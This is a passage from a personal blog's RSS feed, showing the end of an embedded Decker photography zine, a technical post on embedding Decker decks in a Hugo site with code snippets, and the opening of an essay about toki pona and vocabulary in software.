vN77f7/ve2f///9++3u/f9/zZJ3b/xYcgH3//ZFz1hNskz7Nts///f/fvVrdv9//v////u+/33XO98zazM7Wn+/3v9v//9/f/f///7/+6b/+2X62X/4ABMd33/aCefAOJhD/brZv//228897/+9/////+//9+3e/e222ZnNqdvb7fe3/f//2++/f/9/2t+7v/8yaZsX/AARB/v/yQv+8SZJEPTNsM///3757727//+//f//7/2/56/e7c7WbMy2+399/b////6+////93722//9ys8m37QAEJXP/6QD+3kFpgB+fO5l/+3nv+337v//////f/+/9v36d7syZrN2ra/b32/vf//22/3///33vtf7v0m25M7wAAAP2X/kDMtMFbAkO3Zhl//7ve69vv/v////9////3+/f/229zmbM629/vf7f///33+3////vc237/7ktZ03uAAAT9X/YAcB8IYZhBsfsNL//v97t7u3//////////3779237ZmbTMzzd2+9v9+//vm2//3v/v93bv/2ts17N2AAAF/s70gBIZs2zFEA3bZt//fb3vbv/v///////////3v3/ntszObbHt/77+3/////v9v/f//78t//vZlrbs3wAAQP++YBDIaJJYYQAA3IJf/5fvff/d/////////////+/tvbZmazM23s3vv/f//7bu2+///9vp73//9pMrybJAAAjBMviAyApZkzhAAAAZ7//2+9e3f9///////////+/7v/7ttzOa3rO/e+29///vt/t/2//+71P//7btT/vmAACAo/bgyPCzNSaeRAABBjP/f57c/ff////////////+//bb7ZmczMu/997/////bd3v3//7979+//7pLN3s+AAEAKr8uQCQ91Uq35AAAAW//9t3e9//f/////////////7//3ZszOd5zN33227//9t/ff/t//3mzf//20q31vAAEBIL/bjACHndi2GQAACRb//3/e927///////////////723bpmc5lnf/f3/7///f9/93//f/e7d//1Zyv/NgABiAGx36Rglu35k4RAAABnP/fbu3f7//////////////3/3/urOzTve/b9v3v///dv273//9+5u2//1lnU/s7DhMiQt/fAY85/LEjkkAASLd/9vu+dv9//////////////+/2+7cmdM5q3v+/ff//9/f/vv///7t277/OaVnzbgzJgAmd32IDvW62s2wAAEK/f7235/////////////////9//7Zlty9rvve799+//7t9u+/////bW3/7symt9NiTAg0lj/+6m/NuZJn9gASTTv/v/X2tv////////////////dv92tmpube97337///v7+7rf7//fdtffu22ZvTYDAIFF6frmJ7C/XmNv+kEjP+/2193v//////////////////+31pM2p7b733v73///b7/v////+2299ts1Nv7PBQIAca/8/5F4HebZM/4SyS//9vz2vN3//////////////37v/bt51bm3vvf/v////f3s3b////+5r//23m7a3gUAAMWz/r/NfU3xhNu/7t5779u7t7f3///////////////3/u+tzlnObe+9t+9////ff3f/7f301u9pv9vbuyYDEACQuP+/Z/kH/XLJv///m+/rb+3bP//////////////3//v79mbOc9577/373///99vbf////957//t//uysAhAASYj///D6BO3bpN/3/b3z7f1+bu9///////////3e/9+/ftu5szZz3vtvfv///v377f/37u1rnt7/7u22sADAgEUi7f7zvmWe2bLf//9tv/e32+37////////77/f997999/7mzWZv+2//9/w==&#34;&#xA;{widgets}&#xA;field5:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[160,45],&#34;pos&#34;:[339,28],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:&#34;thank you for reading my zine. go take some pictures. made by nora tindall with decker and a used digital camera.&#34;}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[160,37],&#34;pos&#34;:[340,78],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:&#34;thanks also to Millie Millennium of milliesquilly.com for reviving my interest in Decker as a medium.&#34;}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[171,14],&#34;pos&#34;:[331,121],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;value&#34;:{&#34;text&#34;:[&#34;check out my webbed site: &#34;,&#34;nora.codes&#34;],&#34;font&#34;:[&#34;&#34;,&#34;&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;https://nora.codes&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;card10.0&#34;,&#34;text&#34;:&#34;First &lt;-&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;&#xA;{script:card10.0}&#xA;on click do&#xA;  go[&#34;First&#34; &#34;SlideUp&#34;]&#xA;end&#xA;{end}&#xA;&#xA;&#xA;&#xA;&lt;/script&gt;&#xA;&lt;a id=&#34;target&#34; style=&#34;display:none&#34;&gt;&lt;/a&gt;&#xA;&lt;img id=&#34;loader&#34; style=&#34;display:none&#34;&gt;&#xA;&lt;input id=&#34;source&#34; type=&#34;file&#34; style=&#34;display:none&#34;&gt;&#xA;&lt;canvas id=&#34;render&#34; style=&#34;display:none&#34;t &gt;&lt;/canvas&gt;&#xA;&lt;canvas id=&#34;lrender&#34; style=&#34;display:none&#34;&gt;&lt;/canvas&gt;&#xA;&lt;canvas id=&#34;rrender&#34; style=&#34;display:none&#34;&gt;&lt;/canvas&gt;&#xA;&lt;canvas width=&#34;0&#34; height=&#34;0&#34; id=&#34;ltools&#34;&gt;&lt;/canvas&gt;&#xA;&lt;div class=&#34;decker-container&#34;&gt;&#xA;    &lt;canvas class=&#34;decker-display&#34; id=&#34;display&#34;&gt;&lt;/canvas&gt;&#xA;&lt;/div&gt;&#xA;&lt;canvas width=&#34;0&#34; height=&#34;0&#34; id=&#34;rtools&#34;&gt;&lt;/canvas&gt;&#xA;&#xA;&lt;script src=&#34;./code/decker-itself/lil.js&#34;&gt; &lt;/script&gt;&#xA;&lt;script src=&#34;./code/decker-itself/decker.js&#34;&gt; &lt;/script&gt;&#xA;&#xA;&lt;p&gt;And now for the nerd shit.&#xA;&lt;a href=&#34;http://beyondloom.com/decker/&#34;&gt;Decker&lt;/a&gt; is really cool. It carries on the legacy of HyperCard, one of&#xA;the first real hypertext media systems; it&amp;rsquo;s got that dithered, lo-fi, retro&#xA;flair that I adore; and it runs in a lot of places - anywhere with SDL, and&#xA;anywhere with a full-fledged browser.&lt;/p&gt;&#xA;&lt;p&gt;I made a zine with it a while back, but I didn&amp;rsquo;t publish it, or make anything&#xA;else with it, because I didn&amp;rsquo;t realize that it was possible to publish Decker&#xA;decks without the Decker UI. (You can do this by going to File -&amp;gt; Properties -&amp;gt;&#xA;Protect&amp;hellip;, which doesn&amp;rsquo;t add DRM but rather just emits a Decker deck that has&#xA;the UI turned off. It can still be opened in Decker and edited.)&lt;/p&gt;&#xA;&lt;p&gt;There was still the problem, though, that you can only really export a full-page&#xA;HTML document with a single Decker canvas in the middle of it, and only at 2x&#xA;scale. This is normally really good, but I&amp;rsquo;m a weirdo and wanted Decker embedded&#xA;on my website. Several folks were happy to tell me that this could be done with&#xA;an iframe, but I had a hunch that I could produce a better experience with a&#xA;straight-in embed of the Decker canvas. And, well:&lt;/p&gt;&#xA;&lt;p&gt;This page, in my Hugo setup, includes two shortcodes like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;language&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;decker&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{{&amp;lt; include &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;static/code/decks/infrastructure exp04.deck&amp;#34;&lt;/span&gt; &amp;gt;}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{{&amp;lt; &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;decker&lt;/span&gt; &amp;gt;}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That first shortcode, &lt;code&gt;include&lt;/code&gt;, is very simple:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-md&#34; data-lang=&#34;md&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{{ .Get 0 | readFile | safeHTML }}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The second, &lt;code&gt;decker&lt;/code&gt;, looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;target&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;style&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;display:none&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;img&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;loader&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;style&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;display:none&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;input&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;source&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;type&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;file&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;style&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;display:none&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;render&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;style&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;display:none&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;lrender&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;style&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;display:none&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;rrender&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;style&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;display:none&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;width&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;height&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ltools&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;class&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;decker-container&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;class&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;decker-display&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;display&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;width&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;height&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;id&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;rtools&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;src&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;/code/decker-itself/lil.js&amp;#34;&lt;/span&gt;&amp;gt; &amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#f00&#34;&gt;src&lt;/span&gt;=&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;/code/decker-itself/decker.js&amp;#34;&lt;/span&gt;&amp;gt; &amp;lt;/&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is almost verbatim from the Decker-web HTML file (as of v1.60+8360e66),&#xA;with a few modifications:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-diff&#34; data-lang=&#34;diff&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;canvas width=&amp;#34;0&amp;#34; height=&amp;#34;0&amp;#34; id=&amp;#34;ltools&amp;#34;&amp;gt;&amp;lt;/canvas&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+ &amp;lt;div class=&amp;#34;decker-container&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#fdd&#34;&gt;- &amp;lt;canvas class=&amp;#34;decker-display&amp;#34; id=&amp;#34;display&amp;#34;&amp;gt;&amp;lt;/canvas&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+   &amp;lt;canvas class=&amp;#34;decker-display&amp;#34; id=&amp;#34;display&amp;#34;&amp;gt;&amp;lt;/canvas&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+ &amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &amp;lt;canvas width=&amp;#34;0&amp;#34; height=&amp;#34;0&amp;#34; id=&amp;#34;rtools&amp;#34;&amp;gt;&amp;lt;/canvas&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+ &amp;lt;script src=&amp;#34;/code/decker-itself/lil.js&amp;#34;&amp;gt; &amp;lt;/script&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000;background-color:#dfd&#34;&gt;+ &amp;lt;script src=&amp;#34;/code/decker-itself/decker.js&amp;#34;&amp;gt; &amp;lt;/script&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Those two scripts are also copied verbatim from the repo, at commit 8360e66.&lt;/p&gt;&#xA;&lt;p&gt;I used a small CSS snippet to change the size and position of the Decker display&#xA;canvas:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;div&lt;/span&gt;.decker-container {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;display&lt;/span&gt;: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;flex&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;align-items&lt;/span&gt;: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;center&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;canvas&lt;/span&gt;.decker-display {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;width&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;512&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;height&lt;/span&gt;: &lt;span style=&#34;color:#00f&#34;&gt;324&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;margin-left&lt;/span&gt;: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;auto&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;margin-right&lt;/span&gt;: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;auto&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;cursor&lt;/span&gt;: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;default&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Some issues remain. Namely:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can only have one Decker embed per page.&lt;/li&gt;&#xA;&lt;li&gt;Decker resets the page&amp;rsquo;s title.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That&amp;rsquo;s expected, but there are some straight-up bugs I ran into during this&#xA;process, too:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hugo freaks out if you put the include step in the Decker shortcode. I have&#xA;no idea why, but it inserts &lt;code&gt;\n&lt;/code&gt; instead of actual newlines, breaking the&#xA;embedded Decker deck.&lt;/li&gt;&#xA;&lt;li&gt;Decker can&amp;rsquo;t handle there being whitespace before the start of the deck&amp;rsquo;s&#xA;data.&lt;/li&gt;&#xA;&lt;li&gt;You can&amp;rsquo;t right-click on most of the page; Decker intercepts it everywhere,&#xA;not just inside the Decker canvas.&lt;/li&gt;&#xA;&lt;li&gt;If the intro is too long, the Decker canvas is broken (you can&amp;rsquo;t interact with&#xA;it) and too big.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If folks have advice on how to fix it, or if we could get an embed-into-page&#xA;export format for Decker, that&amp;rsquo;d be great!&lt;/p&gt;&#xA;&lt;p&gt;Huge thanks to &lt;a href=&#34;http://milliesquilly.com&#34;&gt;Millie Millennium&lt;/a&gt; for inspiring me&#xA;to get back into Decker, and for giving me helpful info on this particular silly&#xA;quest.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>nimi sin</title>
      <link>https://nora.codes/post/nimi-sin/</link>
      <pubDate>Tue, 01 Apr 2025 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/nimi-sin/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;This post is part of &lt;a href=&#34;https://www.aprilcools.club/&#34;&gt;April Cools Club&lt;/a&gt;: an April 1st effort to publish&#xA;genuine essays on unexpected topics. Please enjoy these true stories, and rest&#xA;assured that the tech content will be back &lt;del&gt;soon&lt;/del&gt; eventually!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;sina o pali e nimi sin. sina o pana e nimi mute tawa mi.&lt;/em&gt;&lt;br&gt;&#xA;&lt;em&gt;nimi o kama sama pi soweli lili. mi wile e ni: nimi li kama mute a.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s &lt;a href=&#34;https://tokipona.org/&#34;&gt;&lt;em&gt;toki pona&lt;/em&gt;&lt;/a&gt;, a constructed language with somewhere between 118&#xA;and 181 words, depending on who you ask. It was meant to be quick and easy to&#xA;learn, but more importantly, to &lt;a href=&#34;https://en.wikipedia.org/wiki/Linguistic_relativity&#34;&gt;guide the mind&lt;/a&gt; toward a simpler,&#xA;better, more &lt;em&gt;pona&lt;/em&gt; way of being. The fewer words, the broader their&#xA;semantic space, the more contextual and general their meaning, the better.&#xA;That&amp;rsquo;s the &lt;em&gt;toki pona&lt;/em&gt; philosophy - but that&amp;rsquo;s not what I&amp;rsquo;m asking you for.&lt;/p&gt;</description>
      <content:encoded>&lt;blockquote&gt;&#xA;&lt;p&gt;This post is part of &lt;a href=&#34;https://www.aprilcools.club/&#34;&gt;April Cools Club&lt;/a&gt;: an April 1st effort to publish&#xA;genuine essays on unexpected topics. Please enjoy these true stories, and rest&#xA;assured that the tech content will be back &lt;del&gt;soon&lt;/del&gt; eventually!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;sina o pali e nimi sin. sina o pana e nimi mute tawa mi.&lt;/em&gt;&lt;br&gt;&#xA;&lt;em&gt;nimi o kama sama pi soweli lili. mi wile e ni: nimi li kama mute a.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s &lt;a href=&#34;https://tokipona.org/&#34;&gt;&lt;em&gt;toki pona&lt;/em&gt;&lt;/a&gt;, a constructed language with somewhere between 118&#xA;and 181 words, depending on who you ask. It was meant to be quick and easy to&#xA;learn, but more importantly, to &lt;a href=&#34;https://en.wikipedia.org/wiki/Linguistic_relativity&#34;&gt;guide the mind&lt;/a&gt; toward a simpler,&#xA;better, more &lt;em&gt;pona&lt;/em&gt; way of being. The fewer words, the broader their&#xA;semantic space, the more contextual and general their meaning, the better.&#xA;That&amp;rsquo;s the &lt;em&gt;toki pona&lt;/em&gt; philosophy - but that&amp;rsquo;s not what I&amp;rsquo;m asking you for.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m asking you to make more words. New words. Strange words. Specific words.&#xA;I want our words to multiply like rats.&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;In software, as in math and gaming and many kinds of engineering, we have far&#xA;too few words, and we load them with meaning far beyond the breaking point. In&#xA;what other field are &amp;ldquo;kind&amp;rdquo; and &amp;ldquo;type&amp;rdquo; so likely to be entirely different&#xA;things?&lt;/p&gt;&#xA;&lt;p&gt;We talk about tables (on the web, for displaying tabular data and nothing else;&#xA;in a database, a two-dimensional array of a particular shape; in Lua, an&#xA;associative array) and maps (applying a function to each element of an array? an&#xA;associative array itself? who knows) and classes and types and vectors and&#xA;packets and 